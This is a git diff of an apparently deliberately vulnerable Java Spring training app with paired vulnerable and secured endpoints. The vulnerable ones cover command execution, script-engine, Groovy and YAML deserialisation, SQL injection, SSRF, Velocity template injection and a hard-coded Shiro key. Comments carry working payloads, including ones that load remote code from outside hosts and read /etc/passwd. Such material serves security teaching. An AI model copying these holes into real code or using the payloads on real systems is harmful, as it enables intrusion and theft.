+     * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+     * classLoader.loadClass('Hello').newInstance();
+     */
+    @RequestMapping("/vuln1")
+    public String vuln1(HttpServletRequest req) throws Exception{
+        String express = WebUtils.getRequestBody(req);
+        System.out.println(express);
+        ExpressRunner runner = new ExpressRunner();
+        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
+        Object r = runner.execute(express, context, null, true, false);
+        System.out.println(r);
+        return r.toString();
+    }
+
+    @RequestMapping("/sec")
+    public String sec(HttpServletRequest req) throws Exception{
+        String express = WebUtils.getRequestBody(req);
+        System.out.println(express);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        // Can only call java.lang.String#length()
+        QLExpressRunStrategy.addSecureMethod(String.class, "length");
+        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
+        Object r = runner.execute(express, context, null, true, false);
+        System.out.println(r);
+        return r.toString();
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 8583d2db..7c5f30a9 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,31 +1,36 @@
 package org.joychou.controller;
 
-import org.springframework.stereotype.Controller;
+import groovy.lang.GroovyShell;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+import org.yaml.snakeyaml.Yaml;
+import org.yaml.snakeyaml.constructor.SafeConstructor;
 
-import javax.servlet.http.HttpServletRequest;
+import javax.script.Bindings;
+import javax.script.ScriptContext;
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 
+
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2018.05.24
- * @desc:   java xxe vuls code
- * @fix:    过滤造成命令执行的参数
+ * Java code execute
+ *
+ * @author JoyChou @ 2018-05-24
  */
-
-@Controller
+@Slf4j
+@RestController
 @RequestMapping("/rce")
 public class Rce {
 
-    @RequestMapping("/exec")
-    @ResponseBody
-    public String CommandExec(HttpServletRequest request) {
-        String cmd = request.getParameter("cmd").toString();
+    @GetMapping("/runtime/exec")
+    public String CommandExec(String cmd) {
         Runtime run = Runtime.getRuntime();
-        String lineStr = "";
+        StringBuilder sb = new StringBuilder();
 
         try {
             Process p = run.exec(cmd);
@@ -34,22 +39,100 @@ public String CommandExec(HttpServletRequest request) {
             String tmpStr;
 
             while ((tmpStr = inBr.readLine()) != null) {
-                lineStr += tmpStr + "\n";
-                System.out.println(tmpStr);
+                sb.append(tmpStr);
             }
 
             if (p.waitFor() != 0) {
                 if (p.exitValue() == 1)
-                    return "command exec failed";
+                    return "Command exec failed!!";
             }
 
             inBr.close();
             in.close();
         } catch (Exception e) {
-            e.printStackTrace();
-            return "Except";
+            return e.toString();
+        }
+        return sb.toString();
+    }
+
+
+    /**
+     * <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
+     */
+    @GetMapping("/ProcessBuilder")
+    public String processBuilder(String cmd) {
+
+        StringBuilder sb = new StringBuilder();
+
+        try {
+            String[] arrCmd = {"/bin/sh", "-c", cmd};
+            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
+            Process p = processBuilder.start();
+            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
+            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
+            String tmpStr;
+
+            while ((tmpStr = inBr.readLine()) != null) {
+                sb.append(tmpStr);
+            }
+        } catch (Exception e) {
+            return e.toString();
         }
-        return lineStr;
+
+        return sb.toString();
+    }
+
+
+    /**
+     * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
+     *
+     * curl http://xx.yy/zz.js
+     * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
+     *
+     * @param jsurl js url
+     */
+    @GetMapping("/jscmd")
+    public void jsEngine(String jsurl) throws Exception{
+        // js nashorn javascript ecmascript
+        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
+        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
+        String cmd = String.format("load(\"%s\")", jsurl);
+        engine.eval(cmd, bindings);
+    }
+
+
+    /**
+     * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
+     * yaml-payload.jar: https://github.com/artsploit/yaml-payload
+     *
+     * @param content payloads
+     */
+    @GetMapping("/vuln/yarm")
+    public void yarm(String content) {
+        Yaml y = new Yaml();
+        y.load(content);
+    }
+
+    @GetMapping("/sec/yarm")
+    public void secYarm(String content) {
+        Yaml y = new Yaml(new SafeConstructor());
+        y.load(content);
+    }
+
+    /**
+     * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
+     * @param content groovy shell
+     */
+    @GetMapping("groovy")
+    public void groovyshell(String content) {
+        GroovyShell groovyShell = new GroovyShell();
+        groovyShell.evaluate(content);
+    }
+
+
+
+    public static void main(String[] args) throws Exception{
+        Runtime.getRuntime().exec("touch /tmp/x");
     }
 }
 
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 532c82ef..be46f45b 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -1,80 +1,245 @@
 package org.joychou.controller;
 
 
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-import javax.servlet.http.HttpServletRequest;
+import org.joychou.mapper.UserMapper;
+import org.joychou.dao.User;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.web.bind.annotation.*;
+
+import javax.annotation.Resource;
 import java.sql.*;
+import java.util.List;
 
 
 /**
- * Date:2018年08月22日
- * Author: JoyChou
- * Desc: SQL注入漏洞
+ * SQL Injection
+ *
+ * @author JoyChou @2018.08.22
  */
 
-@Controller
+@SuppressWarnings("Duplicates")
+@RestController
 @RequestMapping("/sqli")
 public class SQLI {
 
-    @RequestMapping("/jdbc")
-    @ResponseBody
-    public static String jdbc_sqli(HttpServletRequest request){
+    private static final Logger logger = LoggerFactory.getLogger(SQLI.class);
+
+    // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver.
+    private static final String driver = "com.mysql.cj.jdbc.Driver";
+
+    @Value("${spring.datasource.url}")
+    private String url;
+
+    @Value("${spring.datasource.username}")
+    private String user;
+
+    @Value("${spring.datasource.password}")
+    private String password;
+
+    @Resource
+    private UserMapper userMapper;
+
+
+    /**
+     * <p>Sql injection jbdc vuln code.</p><br>
+     *
+     * <a href="http://localhost:8080/sqli/jdbc/vuln?username=joychou">http://localhost:8080/sqli/jdbc/vuln?username=joychou</a>
+     */
+    @RequestMapping("/jdbc/vuln")
+    public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+        StringBuilder result = new StringBuilder();
 
-        String name = request.getParameter("name");
-        String driver = "com.mysql.jdbc.Driver";
-        String url = "jdbc:mysql://localhost:3306/sectest";
-        String user = "root";
-        String password = "woshishujukumima";
-        String result = "";
         try {
             Class.forName(driver);
-            Connection con = DriverManager.getConnection(url,user,password);
+            Connection con = DriverManager.getConnection(url, user, password);
 
-            if(!con.isClosed())
-                System.out.println("Connecting to Database successfully.");
+            if (!con.isClosed())
+                System.out.println("Connect to database successfully.");
 
-            // sqli vuln code 漏洞代码
-             Statement statement = con.createStatement();
-             String sql = "select * from users where name = '" + name + "'";
-             System.out.println(sql);
-             ResultSet rs = statement.executeQuery(sql);
+            // sqli vuln code
+            Statement statement = con.createStatement();
+            String sql = "select * from users where username = '" + username + "'";
+            logger.info(sql);
+            ResultSet rs = statement.executeQuery(sql);
 
-            // fix code 用预处理修复SQL注入
-//            String sql = "select * from users where name = ?";
-//            PreparedStatement st = con.prepareStatement(sql);
-//            st.setString(1, name);
-//            System.out.println(st.toString());  // 预处理后的sql
-//            ResultSet rs = st.executeQuery();
+            while (rs.next()) {
+                String res_name = rs.getString("username");
+                String res_pwd = rs.getString("password");
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
+            }
+            rs.close();
+            con.close();
 
-            System.out.println("-----------------");
 
-            while(rs.next()){
-                String res_name = rs.getString("name");
-                String res_pwd = rs.getString("password");
-                result +=  res_name + ": " + res_pwd + "\n";
-                System.out.println(res_name + ": " + res_pwd);
+        } catch (ClassNotFoundException e) {
+            logger.error("Sorry, can't find the Driver!");
+        } catch (SQLException e) {
+            logger.error(e.toString());
+        }
+        return result.toString();
+    }
 
+
+    /**
+     * <p>Sql injection jbdc security code by using {@link PreparedStatement}.</p><br>
+     *
+     * <a href="http://localhost:8080/sqli/jdbc/sec?username=joychou">http://localhost:8080/sqli/jdbc/sec?username=joychou</a>
+     */
+    @RequestMapping("/jdbc/sec")
+    public String jdbc_sqli_sec(@RequestParam("username") String username) {
+
+        StringBuilder result = new StringBuilder();
+        try {
+            Class.forName(driver);
+            Connection con = DriverManager.getConnection(url, user, password);
+
+            if (!con.isClosed())
+                System.out.println("Connect to database successfully.");
+
+            // fix code
+            String sql = "select * from users where username = ?";
+            PreparedStatement st = con.prepareStatement(sql);
+            st.setString(1, username);
+
+            logger.info(st.toString());  // sql after prepare statement
+            ResultSet rs = st.executeQuery();
+
+            while (rs.next()) {
+                String res_name = rs.getString("username");
+                String res_pwd = rs.getString("password");
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
             }
+
             rs.close();
             con.close();
 
-
-        }catch (ClassNotFoundException e) {
-            System.out.println("Sorry,can`t find the Driver!");
-            e.printStackTrace();
-        }catch (SQLException e) {
-            e.printStackTrace();
-        }catch (Exception e) {
+        } catch (ClassNotFoundException e) {
+            logger.error("Sorry, can't find the Driver!");
             e.printStackTrace();
+        } catch (SQLException e) {
+            logger.error(e.toString());
+        }
+        return result.toString();
+    }
+
 
-        }finally{
-            System.out.println("-----------------");
-            System.out.println("Connect database done.");
+    /**
+     * <p>Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.</p>
+     * <a href="http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a">http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a</a>
+     */
+    @RequestMapping("/jdbc/ps/vuln")
+    public String jdbc_ps_vuln(@RequestParam("username") String username) {
+
+        StringBuilder result = new StringBuilder();
+        try {
+            Class.forName(driver);
+            Connection con = DriverManager.getConnection(url, user, password);
+
+            if (!con.isClosed())
+                System.out.println("Connecting to Database successfully.");
+
+            String sql = "select * from users where username = '" + username + "'";
+            PreparedStatement st = con.prepareStatement(sql);
+
+            logger.info(st.toString());
+            ResultSet rs = st.executeQuery();
+
+            while (rs.next()) {
+                String res_name = rs.getString("username");
+                String res_pwd = rs.getString("password");
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
+            }
+
+            rs.close();
+            con.close();
+
+        } catch (ClassNotFoundException e) {
+            logger.error("Sorry, can't find the Driver!");
+            e.printStackTrace();
+        } catch (SQLException e) {
+            logger.error(e.toString());
         }
-        return result;
+        return result.toString();
+    }
+
+
+    /**
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1</a>
+     * <p>select * from users where username = 'joychou' or '1'='1' </p>
+     */
+    @GetMapping("/mybatis/vuln01")
+    public List<User> mybatisVuln01(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVuln01(username);
+    }
+
+    /**
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1</a>
+     * <p>select * from users where username like '%joychou' or '1'='1%' </p>
+     */
+    @GetMapping("/mybatis/vuln02")
+    public List<User> mybatisVuln02(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVuln02(username);
+    }
+
+    /**
+     * <p>Sql injection of mybatis vuln code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--">http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--</a>
+     * <p> select * from users order by id desc-- asc</p>
+     */
+    @GetMapping("/mybatis/orderby/vuln03")
+    public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
+        return userMapper.findByUserNameVuln03(sort);
+    }
+
+
+    /**
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec01?username=joychou">http://localhost:8080/sqli/mybatis/sec01?username=joychou</a>
+     */
+    @GetMapping("/mybatis/sec01")
+    public User mybatisSec01(@RequestParam("username") String username) {
+        return userMapper.findByUserName(username);
+    }
+
+    /**
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec02?id=1">http://localhost:8080/sqli/mybatis/sec02?id=1</a>
+     */
+    @GetMapping("/mybatis/sec02")
+    public User mybatisSec02(@RequestParam("id") Integer id) {
+        return userMapper.findById(id);
+    }
+
+
+    /**
+     * <p>Sql injection mybatis security code.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/sec03">http://localhost:8080/sqli/mybatis/sec03</a>
+     */
+    @GetMapping("/mybatis/sec03")
+    public User mybatisSec03() {
+        return userMapper.OrderByUsername();
+    }
+
+    /**
+     * <p>Order by sql injection mybatis security code by using sql filter.</p>
+     * <a href="http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id">http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id</a>
+     * <p>select * from users order by id asc </p>
+     */
+    @GetMapping("/mybatis/orderby/sec04")
+    public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
+        return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
     }
 
 }
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index d3d54c33..f28b8b91 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,109 +1,126 @@
 package org.joychou.controller;
 
-import com.google.common.io.Files;
-import com.squareup.okhttp.OkHttpClient;
-import org.apache.http.HttpResponse;
-import org.apache.http.client.fluent.Request;
-import org.apache.http.client.methods.HttpGet;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClients;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-
-import javax.imageio.ImageIO;
-import javax.servlet.http.HttpServletRequest;
+import cn.hutool.http.HttpUtil;
+import org.joychou.security.SecurityUtil;
+import org.joychou.security.ssrf.SSRFException;
+import org.joychou.service.HttpService;
+import org.joychou.util.HttpUtils;
+import org.joychou.util.WebUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.*;
+
+import javax.annotation.Resource;
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.HttpURLConnection;
+import java.net.*;
 
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2017.12.28
- * @desc:   java ssrf vuls code
- * @fix:    https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java
+ * Java SSRF vuln or security code.
+ *
+ * @author JoyChou @2017-12-28
  */
 
-
-@Controller
+@RestController
 @RequestMapping("/ssrf")
 public class SSRF {
 
-    @RequestMapping("/urlConnection")
-    @ResponseBody
-    public static String ssrf_URLConnection(HttpServletRequest request)
-    {
-        try {
-            String url = request.getParameter("url");
-            URL u = new URL(url);
-            URLConnection urlConnection = u.openConnection();
-            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
-            String inputLine;
-            StringBuffer html = new StringBuffer();
+    private static final Logger logger = LoggerFactory.getLogger(SSRF.class);
 
-            while ((inputLine = in.readLine()) != null) {
-                html.append(inputLine);
-            }
-            in.close();
-            return html.toString();
-        }catch(Exception e) {
-            e.printStackTrace();
-            return "fail";
+    @Resource
+    private HttpService httpService;
+
+    /**
+     * <p>
+     *    The default setting of followRedirects is true. <br>
+     *    Protocol: file ftp mailto http https jar netdoc. <br>
+     *    UserAgent is Java/1.8.0_102.
+     * </p>
+     * <a href="http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd">http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd</a>
+     */
+    @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
+    public String URLConnectionVuln(String url) {
+        return HttpUtils.URLConnection(url);
+    }
+
+
+    @GetMapping("/urlConnection/sec")
+    public String URLConnectionSec(String url) {
+
+        // Decline not http/https protocol
+        if (!SecurityUtil.isHttp(url)) {
+            return "[-] SSRF check failed";
+        }
+
+        try {
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.URLConnection(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
+
     }
 
 
-    @RequestMapping("/HttpURLConnection")
-    @ResponseBody
-    public static String ssrf_httpURLConnection(HttpServletRequest request)
-    {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    @GetMapping("/HttpURLConnection/sec")
+    public String httpURLConnection(@RequestParam String url) {
         try {
-            String url = request.getParameter("url");
-            URL u = new URL(url);
-            URLConnection urlConnection = u.openConnection();
-            HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
-            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
-            String inputLine;
-            StringBuffer html = new StringBuffer();
-
-            while ((inputLine = in.readLine()) != null) {
-                html.append(inputLine);
-            }
-            in.close();
-            return html.toString();
-        }catch(Exception e) {
-            e.printStackTrace();
-            return "fail";
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.HttpURLConnection(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
     }
 
 
-    @RequestMapping("/Request")
-    @ResponseBody
-    public static String ssrf_Request(HttpServletRequest request)
-    {
+    @GetMapping("/HttpURLConnection/vuln")
+    public String httpURLConnectionVuln(@RequestParam String url) {
+        return HttpUtils.HttpURLConnection(url);
+    }
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>. <br>
+     * <a href="http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org">http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org</a>
+     */
+    @GetMapping("/request/sec")
+    public String request(@RequestParam String url) {
         try {
-            String url = request.getParameter("url");
-            return Request.Get(url).execute().returnContent().toString();
-        }catch(Exception e) {
-            e.printStackTrace();
-            return "fail";
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.request(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
     }
 
 
-    @RequestMapping("/openStream")
-    @ResponseBody
-    public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+    /**
+     * Download the url file. <br>
+     * <code>new URL(String url).openConnection()</code>  <br>
+     * <code>new URL(String url).openStream()</code> <br>
+     * <code>new URL(String url).getContent()</code> <br>
+     * <a href="http://localhost:8080/ssrf/openStream?url=file:///etc/passwd">http://localhost:8080/ssrf/openStream?url=file:///etc/passwd</a>
+
+     */
+    @GetMapping("/openStream")
+    public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
         InputStream inputStream = null;
         OutputStream outputStream = null;
-        String url = request.getParameter("url");
         try {
-            String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+            String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
             // download
             response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
 
@@ -116,62 +133,186 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
                 outputStream.write(bytes, 0, length);
             }
 
-        }catch (Exception e) {
-            e.printStackTrace();
-        }finally {
+        } catch (Exception e) {
+            logger.error(e.toString());
+        } finally {
             if (inputStream != null) {
                 inputStream.close();
             }
             if (outputStream != null) {
                 outputStream.close();
             }
+        }
+    }
 
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    @GetMapping("/ImageIO/sec")
+    public String ImageIO(@RequestParam String url) {
+        try {
+            SecurityUtil.startSSRFHook();
+            HttpUtils.imageIO(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
+
+        return "ImageIO ssrf test";
     }
 
 
-    @RequestMapping("/ImageIO")
-    @ResponseBody
-    public static void ssrf_ImageIO(HttpServletRequest request) {
-        String url = request.getParameter("url");
+    @GetMapping("/okhttp/sec")
+    public String okhttp(@RequestParam String url) {
+
         try {
-            URL u = new URL(url);
-            ImageIO.read(u); // send request
-        } catch (Exception e) {
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.okhttp(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
+
     }
 
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>. <br>
+     * <a href="http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/httpclient/sec")
+    public String HttpClient(@RequestParam String url) {
+
+        try {
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.httpClient(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
 
-    @RequestMapping("/okhttp")
-    @ResponseBody
-    public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
-        String url = request.getParameter("url");
-        OkHttpClient client = new OkHttpClient();
-        com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
-        client.newCall(ok_http).execute();
     }
 
 
-    @RequestMapping("/HttpClient")
-    @ResponseBody
-    public static String ssrf_HttpClient(HttpServletRequest request) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Jakarta Commons-HttpClient/3.1</code>.
+     * <a href="http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/commonsHttpClient/sec")
+    public String commonsHttpClient(@RequestParam String url) {
 
-        String url = request.getParameter("url");
-        CloseableHttpClient client = HttpClients.createDefault();
-        HttpGet httpGet = new HttpGet(url);
         try {
-            HttpResponse httpResponse = client.execute(httpGet); // send request
-            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
-            StringBuffer result = new StringBuffer();
-            String line = "";
-            while ((line = rd.readLine()) != null) {
-                result.append(line);
-            }
-            return result.toString();
-        }catch (Exception e) {
-            e.printStackTrace();
-            return "fail";
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.commonHttpClient(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
+
+    }
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is the useragent of browser.<br>
+     * <a href="http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com">http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/Jsoup/sec")
+    public String Jsoup(@RequestParam String url) {
+
+        try {
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.Jsoup(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
+
+    }
+
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Java/1.8.0_102</code>. <br>
+     * <a href="http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com">http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/IOUtils/sec")
+    public String IOUtils(String url) {
+        try {
+            SecurityUtil.startSSRFHook();
+            HttpUtils.IOUtils(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
 
+        return "IOUtils ssrf test";
+    }
+
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102)</code>.
+     */
+    @GetMapping("/HttpSyncClients/vuln")
+    public String HttpSyncClients(@RequestParam("url") String url) {
+        return HttpUtils.HttpAsyncClients(url);
     }
+
+
+    /**
+     * Only support HTTP protocol. <br>
+     * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects. <br>
+     * User-Agent is Java/1.8.0_102. <br>
+     * <a href="http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com">http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/restTemplate/vuln1")
+    public String RestTemplateUrlBanRedirects(String url){
+        HttpHeaders headers = new HttpHeaders();
+        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+        return httpService.RequestHttpBanRedirects(url, headers);
+    }
+
+
+    @GetMapping("/restTemplate/vuln2")
+    public String RestTemplateUrl(String url){
+        HttpHeaders headers = new HttpHeaders();
+        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+        return httpService.RequestHttp(url, headers);
+    }
+
+
+    /**
+     * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool.
+     * Do not follow redirects. <br>
+     * <a href="http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com">http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com</a>
+     */
+    @GetMapping("/hutool/vuln")
+    public String hutoolHttp(String url){
+        return HttpUtil.get(url);
+    }
+
+
+    /**
+     * DnsRebind SSRF in java by setting ttl is zero. <br>
+     * <a href="http://localhost:8080/ssrf/dnsrebind/vuln?url=http://test.joychou.org">http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url</a>
+     */
+    @GetMapping("/dnsrebind/vuln")
+    public String DnsRebind(String url) {
+        java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
+        if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+            return "Dangerous url";
+        }
+        return HttpUtil.get(url);
+    }
+
+
 }
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
new file mode 100644
index 00000000..0c44eb93
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -0,0 +1,39 @@
+package org.joychou.controller;
+
+
+import org.apache.velocity.VelocityContext;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import org.apache.velocity.app.Velocity;
+
+import java.io.StringWriter;
+
+@RestController
+@RequestMapping("/ssti")
+public class SSTI {
+
+    /**
+     * SSTI of Java velocity. The latest Velocity version still has this problem.
+     * Fix method: Avoid to use Velocity.evaluate method.
+     * <p>
+     * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
+     * Open a calculator in MacOS.
+     *
+     * @param template exp
+     */
+    @GetMapping("/velocity")
+    public void velocity(String template) {
+        Velocity.init();
+
+        VelocityContext context = new VelocityContext();
+
+        context.put("author", "Elliot A.");
+        context.put("address", "217 E Broadway");
+        context.put("phone", "555-1337");
+
+        StringWriter swOut = new StringWriter();
+        Velocity.evaluate(context, swOut, "test", template);
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+    byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+    private final static String DELETE_ME = "deleteMe";
+    AesCipherService acs = new AesCipherService();
